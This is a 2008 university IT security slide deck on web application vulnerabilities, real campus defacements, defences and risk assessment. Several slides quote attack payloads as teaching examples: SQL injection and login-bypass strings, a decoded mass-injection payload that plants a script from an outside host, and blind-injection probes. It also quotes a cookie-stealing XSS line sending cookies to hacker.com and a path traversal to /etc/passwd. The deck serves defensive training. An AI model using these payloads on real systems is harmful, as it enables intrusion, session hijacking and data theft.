April 10, 2023 © University of Reading 2008 www.reading.ac.uk

Web SecurityChris Wakelin – IT Services

http://xkcd.com/327

Introduction

• Background

• Vulnerabilities

• Defences

• Risk Assessment

Background - Incidence of common vulnerabilities

• Broken authentication – 67%

• Broken access controls – 78%

• SQL injection – 36%

• Cross-site scripting – 91%

• Information leakage – 81%

(source – Web Application Hacker’s Handbook)

Background – Mass exploits

• November 2007 – yl18.net – “40,000 websites”– http://isc.sans.org/diary.html?storyid=3621– Including www.reading.gov.uk

• January 2008 - uc8010.com– “70,000 websites”– Including www.iop.kcl.ac.uk ?– http://isc.sans.org/diary.html?storyid=3823

Background -UoR Web defacements

• Fresher’s Week 2007– www.careers.reading.ac.uk defaced – “code own3d by UGUR238” appearing everywhere

• 30th October– www.launchpad.reading.ac.uk defaced– “ownz ya baby”

• 19th November 2007– www.reading.ac.uk/moneymatters (a.k.a.

www.extra.rdg.ac.uk/studentfinance) defaced– “Hooked by cyber_zook”

• We’ve been lucky!

Background –Motivation

• We were lucky, still only “script kiddies”– No malicious code inserted– Defacement was obvious (boasting!)

• Mass exploits are perpetrated by Cyber Criminals– Wish to insert malicious code (Javascript and IFRAMEs)– Attack visiting clients with cocktail of exploits– Eventually install “Trojan du Jour” (“drive-by downloads”)– Compromised clients used to capture banking details,

spread spam etc.

• Consequences of such an exploit in the University– Many of the clients would be our users

• Potentially huge clean-up task– Damage to University’s reputation etc.

Vulnerabilities -SQL Injection - Cartoon

• Consider the cartoon. What if the web app used the following SQL query?SELECT * FROM Students WHERE (status = ‘active’ AND

name=‘$name’)

• “Little Bobby Tables” has just made $name = Robert‘); DROP TABLE Students;--

• So the query becomesSELECT * FROM Students WHERE (account=‘active’ AND

name=‘Robert’); DROP TABLE Students;-- ‘)

• Oops!

Vulnerabilities – SQL Injection - Authentication

• What aboutSELECT * FROM Users WHERE username=‘$username’

AND password=‘$password’ ?

• I found three different UoR websites where a password of ‘OR ‘1’=‘1 logged me in (as an Administrator in two of the cases!)– … AND password=‘’ OR ‘1’=‘1’– One using MS SQL Server (ASP, commercial), one MS

Access (ASP, consultancy) and one MySQL (PHP, home-grown)

Vulnerabilities - SQL Injection – Mass Exploits

HTTP Request wasGET /home/site_content_3.asp?s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072... ...29003B00%20AS%20NVARCHAR(4000));EXEC(@S);--

Which decodes asdeclare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="hxxp://yl18 net/0.js"></script>'';'from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

Vulnerabilities -Advanced SQL Injection

• ‘Blind’ SQL Injection– Just needs to produce a different result depending on

whether the given condition is true or false

• WebCMS was vulnerable– /nmsruntime/saveasdialog.asp?lID=14531%20and

%201=1&sID=22059 gave a different answer (downloaded the file) to

– /nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sID=22059 (gave an error)

• Automated tools can potentially retrieve (slowly) everything in the database– Queries like … AND (SELECT ASCII(SUBSTR(password,1,1))

FROM users WHERE username=‘admin’) > 78

Vulnerabilities -Advanced SQL Injection[*] starting at: 22:00:56

[22:01:03] [WARNING] the remote DMBS is not MySQL[22:01:04] [WARNING] the remote DMBS is not Oracle[22:01:04] [WARNING] the remote DMBS is not PostgreSQLremote DBMS: Microsoft SQL Server

Database: ae400_readingdev[163 tables]+---------------------------------------+| ACTIVATION || AEMA_PAGE_AC_COST || AEMA_PAGE_AC_COST_VALUES || AEMA_PAGE_AC_ROOMTERM || AEMA_PAGE_AC_ROOMTERM_VALUES || AEMA_PAGE_AC_TYPE || AEMA_PAGE_AC_TYPE_VALUES |

| WORKFLOW || WORKFLOW_USERS |+---------------------------------------+

[*] shutting down at: 00:16:21

Vulnerabilities -Cross-Site Scripting (XSS)

• Not as spectacular as SQL injection• Far more prevalent (91%)• Severity depends on context• E.g. can be used to hijack authenticated sessions

– Victim is persuaded to follow specially crafted link to their application

– Their browser sends their session cookie to the attacker– The attacker uses this cookie to hijack the session

• Can be Spectacular – the MySpace worm used XSS– Attacker posted Javascript to his profile– People visiting that profile became his buddies and had the

Javascript added to their profile– He ended up with over a million friends (not that they

helped him in court!)

Vulnerabilities –Cross-Site Scripting

• Typical problem is in search pages or error pages

• …/Search.asp?search-term=<script> …– “You searched for

<script>alert(document.cookie)</script>”

• …/Login.php?user=<script> …– “User <script>var i=new Image;

i.src=“hxxp://hacker.com/”+document.cookie</script> does not exist”

• Can also happen by “POST” (form submission) but harder to exploit

• These are “Reflected” or “Class 1” XSS.

Vulnerabilites –Cross-Site Scripting

• Stored” or “Class 2” XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users– E.g. Webmail, blogs, bulletin boards, advertisments

• Other avenues of attack starting to appear– Flash– ActiveX controls

• Best browser defence is Firefox + NoScript plugin– Selectively allow Javascript for trusted sites– Perhaps not user-friendly enough …

Vulnerabilities –Outdated applications

• E.g. Wordpress, phpBB, Joomla

• “Google Hacking”– Find old vulnerable versions of well-known applications– E.g. “site:rdg.ac.uk inurl:wp-login.php”– See http://johnny.ihackstuff.com/ghdb.php for more ...

• Even security professionals not immune - http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/

• Watch out for “plugins” as they may be less well-written

• Essential to keep applications up-to-date!

Vulnerabilities – Old versions and source code

• Don’t keep old (potentially insecure) version of scripts lying around– Hackers will try “index.php.bak” and “default2.asp”– If you must keep old versions online, pick a naming

scheme that is unlikely to be guessed• “search-191107cdw.asp”

– If you change the file extension, the server may hand out your actual code!

• Deny access to source and backup directories– Preferably keep them out of the web root altogether

Vulnerabilities - others• Other injection flaws

– Command injection (can run OS commands)– Script injection (exec/eval/include commands in scripts)– HTTP header (CRLF) injection (anything the client sends

you that ends up in the header, especially cookies and redirects)

– SMTP/LDAP/XPATH/SOAP …

• Path traversal– http://myapp.reading.ac.uk/display.php?file=../../../../etc/

passwd

• Buffer overflows– Don’t rely on “<input … maxlength=xxx>” or “size=xxx”

• …

Defences – Fix apps• Sanitise anything you get and use from the user

– Including ‘hidden’ fields, cookies, user-agent etc.– Don’t assume they’ll obey things like length-restrictions

• If possible, restrict to ‘known good’ rather than trying to exclude bad things– E.g. if your application takes an integer as an argument,

reject anything that isn’t an integer– Be careful not to throw out the baby with the bathwater,

though• We probably don’t want to exclude people of Irish

ancestry from receiving the University prospectus – e.g. O’Connor

• “Parameterise” SQL queries (if necessary)• HTML-Encode anything you output

– htmlencode($string) in PHP– Server.HTMLencode(string) in ASP

Defences – Fix apps –Validate input

• ASPPublic Function ValidateInput(ByVal sInput, ByVal sPattern) Dim reValid Set reValid = New RegExp

reValid.Pattern = sPattern reValid.Global = True

ValidateInput = reValid.Test(sInput) Set reValid = NothingEnd Function

If not ValidateInput(strid, "^[0-9]+$") then strid="1"End If

• PHPIf (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;

Defences - Fix apps -Parameterise queries

• PHP$sql = $db_connection->prepare( “SELECT * FROM users WHERE username = ? AND password = ?”);$sql->bind_param(“ss”, $username, $password);$sql->execute();

• ASPSet dbCommand = Server.CreateObject("ADODB.Command")

Set dbCommand.ActiveConnection = dbConnectiondbCommand.CommandType = adCmdTextdbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=?“

dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username))

dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd))

Set rs = dbCommand.Execute

Defences -Minimal permissions

• Each application should have its own database account(s)– Account should have read-only privileges unless the application

modifies the data– Use separate account for admin write access if possible– Don’t be DBA (even to just make things work)

• Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users

• Web servers shouldn’t run as root/local system/administrator or as the same user as the database– May be an idea to run the database on a different server

altogether

• Use strong passwords (and password policies)– Use password hashes where possible

Defences - Policies

• We should aim to not be the “low-hanging fruit”

• Move the fruit further up the tree by– Requiring authentication– Restricting access to those on campus where possible

• Shake the tree ourselves and see what falls out– Then fix it

• Hackers with ladders/cherry-pickers/chainsaws will probably beat us!– But we’re not a bank, so hopefully they won’t bother

Defences - Policies

• A single Nessus Scan no longer sufficient– Websites change– Nessus not really suited to testing web applications

• We need a policy of systematic testing– When a request for a database is made– When a web application is installed or changed– Periodic automated testing?

• Try to consolidate to central services where possible– Do we need 10 different Wordpress installations?

Defences - Policies

• Web applications need to be properly resourced and maintained (static pages are probably OK)

• Consultancy & commercial– Can’t just pay a consultant to develop it and forget

about it– Need support contract

• Home-grown– What if the original author leaves?

• Open-source– Keep up-to-date with latest releases and patches– What if it’s no longer maintained?

Defences - Security Scans• Historically we scanned new websites with Nessus

– Not particularly aimed at web-application security problems• Doesn’t do “spidering” so will only find problems in

obvious places– We only scanned once (and reserved the right to rescan

later)– Nessus is free!

• Web Security Scanners– Commercial ones are expensive £3000 - £30000!

• WebInspect, AppScan, Acunetix …– Can still have problems with false positives– Will still miss some of the obvious vulnerabilities– Probably can be used for automated and first-glance

checks

Defences - Free testing tools

• Paros Proxy (http://www.parosproxy.org/ )– Good point & click tool – a bit lacking in documentation– Will find the simplest XSS and SQL injection flaws

• Burp Suite (http://www.portswigger.net/suite/ )– More sophisticated tools to assist the penetration tester

• Acunetix Free Edition (http://www.acunetix.com )– Restricted version of commercial scanner; just finds XSS

• Nikto (http://www.cirt.net )– Perl script to look for common vulnerabilities

• WebGoat (http://www.owasp.org/ )– Training application for pen testers (can you buy the HDTV

for 0$?)

Defences -Web Application Firewall

• Mod_security for Apache (http://www.modsecurity.org )– Main Apache server is acting as “reverse proxy” for WebCMS– Can block things like XSS and SQL injection attacks– Customisable “Core” Ruleset provided

• Custom rules can protect particular applications– Provides an audit trail

• Free console application (for up to 3 servers)– Currently running in “Log only” mode (on all virtual hosts)– Can proxy www.xyz.rdg.ac.uk by making DNS point to Apache

• But may need different URL for editing– Risk of false positives (we have a very varied website)

Risk Assessment

• SQL Injection in SQL Server or MySQL– High risk– Actively targeted by automated attacks– Potential to affect other apps sharing the same

database server

• SQL Injection in MS Access– Medium risk– Less likely to be compromised by an automated attack– Determined hacker could probably modify the

database and insert malicious code

Risk Assessment

• Reflected XSS– Low to medium risk– Important on sites with authentication (Blackboard,

RISIS, Trent etc.) where session tokens could be stolen

• Outdated well-known applications– Could be a high risk– Automated attacks via “Google Hacking”

Conclusion

• Web application security now a ‘hot topic’

• Automated attacks occurring constantly

• Need to fix home-grown scripts and applications

• Need to keep third-party applications up-to-date

• Need to ensure proper resources for maintenance

• Need policies to keep track